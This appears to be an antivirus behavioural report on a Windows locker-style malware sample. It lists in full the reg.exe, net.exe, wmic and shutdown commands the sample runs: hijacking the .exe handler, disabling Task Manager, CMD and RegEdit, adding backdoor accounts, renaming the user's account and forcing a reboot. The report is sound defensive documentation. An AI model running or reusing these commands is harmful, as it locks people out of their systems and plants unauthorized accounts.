Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe] 'Debugger' = 'NUL'
- [HKLM\Software\Classes\.exe] '' = 'VBSExeHandler'
- [HKLM\Software\Classes\VBSExeHandler\Shell\Open\Command] '' = 'wscript.exe "<SYSTEM32>\Microsoft\Protect\Defender.Update\aplicaciones.vbs" "" '
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Command Prompt (CMD)
- Windows Task Manager (Taskmgr)
- Registry Editor (RegEdit)
modifies the following system settings:
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
Executes the following
- '<SYSTEM32>\net.exe' user T3yZrQ Maxcheto /add
- '<SYSTEM32>\net.exe' user 5tG2Q8J Maxcheto /add
- '<SYSTEM32>\net.exe' user t93V6D Maxcheto /add
- '<SYSTEM32>\net.exe' user 8QrB1L7 Maxcheto /add
- '<SYSTEM32>\net.exe' user 7F2hY4Z Maxcheto /add
- '<SYSTEM32>\net.exe' user M239Wk Maxcheto /add
- '<SYSTEM32>\net.exe' user x6G7P1L Maxcheto /add
- '<SYSTEM32>\net.exe' user n38vJQ Maxcheto /add
- '<SYSTEM32>\net.exe' user 7CXz1b Maxcheto /add
- '<SYSTEM32>\net.exe' user r8B6V3F Maxcheto /add
- '<SYSTEM32>\net.exe' user x9K1P7L Maxcheto /add
- '<SYSTEM32>\net.exe' user 5QL71t Maxcheto /add
- '<SYSTEM32>\net.exe' user L27w8G Maxcheto /add
- '<SYSTEM32>\net.exe' user m14T8z Maxcheto /add
- '<SYSTEM32>\net.exe' user R2xD1B Maxcheto /add
- '<SYSTEM32>\net.exe' user X7hbQ5Z Maxcheto /add
- '<SYSTEM32>\net.exe' user 3nL9$p2x Maxcheto /add
- '<SYSTEM32>\net.exe' user xC78RT Maxcheto /add
- '<SYSTEM32>\net.exe' user K4$dF27 Maxcheto /add
- '<SYSTEM32>\net.exe' user 9MaL2Z Maxcheto /add
- '<SYSTEM32>\net.exe' user 8rJpX1 Maxcheto /add
- '<SYSTEM32>\net.exe' user P9dR2Y Maxcheto /add
- '<SYSTEM32>\net.exe' user z7R4M3 Maxcheto /add
Modifies file system
Creates the following files
- <SYSTEM32>\microsoft\protect\defender.update\user-48.png
- %ALLUSERSPROFILE%\microsoft\user account pictures\user.png
- %ALLUSERSPROFILE%\microsoft\user account pictures\user-192.png
- %ALLUSERSPROFILE%\microsoft\user account pictures\user-48.png
- %ALLUSERSPROFILE%\microsoft\user account pictures\user-40.png
- %ALLUSERSPROFILE%\microsoft\user account pictures\user-32.png
- <SYSTEM32>\microsoft\protect\defender.update\user-40.png
- <SYSTEM32>\microsoft\protect\defender.update\user-32.png
- <SYSTEM32>\microsoft\protect\defender.update\user.png
- <SYSTEM32>\microsoft\protect\defender.update\user.bmp
- <SYSTEM32>\microsoft\protect\defender.update\main.vbs
- <SYSTEM32>\microsoft\protect\defender.update\main.cmd
- <SYSTEM32>\microsoft\protect\defender.update\img000.png
- <SYSTEM32>\microsoft\protect\defender.update\guest.png
- <SYSTEM32>\microsoft\protect\defender.update\guest.bmp
- <SYSTEM32>\microsoft\protect\defender.update\aplicaciones.vbs
- <SYSTEM32>\microsoft\protect\defender.update\ya.no.lo.puedes.recuperar.txt
- <SYSTEM32>\microsoft\protect\defender.update\user-192.png
- %ALLUSERSPROFILE%\microsoft\user account pictures\guest.png
- %HOMEPATH%\desktop\ya.no.lo.puedes.recuperar.txt
Modifies the following files
- %ALLUSERSPROFILE%\microsoft\user account pictures\user.bmp
- %ALLUSERSPROFILE%\microsoft\user account pictures\guest.bmp
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "<SYSTEM32>\Microsoft\Protect\Defender.Update\main.vbs"
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""<SYSTEM32>\Microsoft\Protect\Defender.Update\main.cmd" "
- '<SYSTEM32>\net1.exe' user xC78RT Maxcheto /add
- '<SYSTEM32>\net1.exe' user 3nL9$p2x Maxcheto /add
- '<SYSTEM32>\net1.exe' user X7hbQ5Z Maxcheto /add
- '<SYSTEM32>\net1.exe' user R2xD1B Maxcheto /add
- '<SYSTEM32>\net1.exe' user m14T8z Maxcheto /add
- '<SYSTEM32>\net1.exe' user L27w8G Maxcheto /add
- '<SYSTEM32>\net1.exe' user P9dR2Y Maxcheto /add
- '<SYSTEM32>\net1.exe' user 5QL71t Maxcheto /add
- '<SYSTEM32>\net1.exe' user 7CXz1b Maxcheto /add
- '<SYSTEM32>\net1.exe' user z7R4M3 Maxcheto /add
- '<SYSTEM32>\net1.exe' user n38vJQ Maxcheto /add
- '<SYSTEM32>\net1.exe' user x6G7P1L Maxcheto /add
- '<SYSTEM32>\net1.exe' user M239Wk Maxcheto /add
- '<SYSTEM32>\net1.exe' user 7F2hY4Z Maxcheto /add
- '<SYSTEM32>\net1.exe' user 8QrB1L7 Maxcheto /add
- '<SYSTEM32>\net1.exe' user t93V6D Maxcheto /add
- '<SYSTEM32>\net1.exe' user 5tG2Q8J Maxcheto /add
- '<SYSTEM32>\net1.exe' user x9K1P7L Maxcheto /add
- '<SYSTEM32>\net1.exe' user K4$dF27 Maxcheto /add
- '<SYSTEM32>\net1.exe' user r8B6V3F Maxcheto /add
- '<SYSTEM32>\net1.exe' user 9MaL2Z Maxcheto /add
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v HideFastUserSwitching /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d 0000000000000071000000000000010000003b0000003c0000003d0000003e0000003f00000040000000...
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v shutdownwithoutlogon /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v UseDefaultTile /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "NUL" /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "<SYSTEM32>\Microsoft\Protect\Defender.Update\img000.png" /f
- '<SYSTEM32>\net1.exe' user 8rJpX1 Maxcheto /add
- '<SYSTEM32>\shutdown.exe' /r /f /t 0
- '<SYSTEM32>\net1.exe' user T3yZrQ Maxcheto /add
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DontDisplayUserName /t REG_DWORD /d 3 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
- '<SYSTEM32>\wbem\wmic.exe' useraccount where name='user' rename "YOU ARE THE NEXT"
- '<SYSTEM32>\net.exe' user "YOU ARE THE NEXT" "im dead"
- '<SYSTEM32>\net1.exe' user "YOU ARE THE NEXT" "im dead"
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DontDisplayLastUserName /t REG_DWORD /d 1 /f
- '<SYSTEM32>\rundll32.exe' user32.dll,UpdatePerUserSystemParameters
- '<SYSTEM32>\cmd.exe' /c ""<SYSTEM32>\Microsoft\Protect\Defender.Update\main.cmd" "' (with hidden window)
Attempts to shut down the Windows operating system.
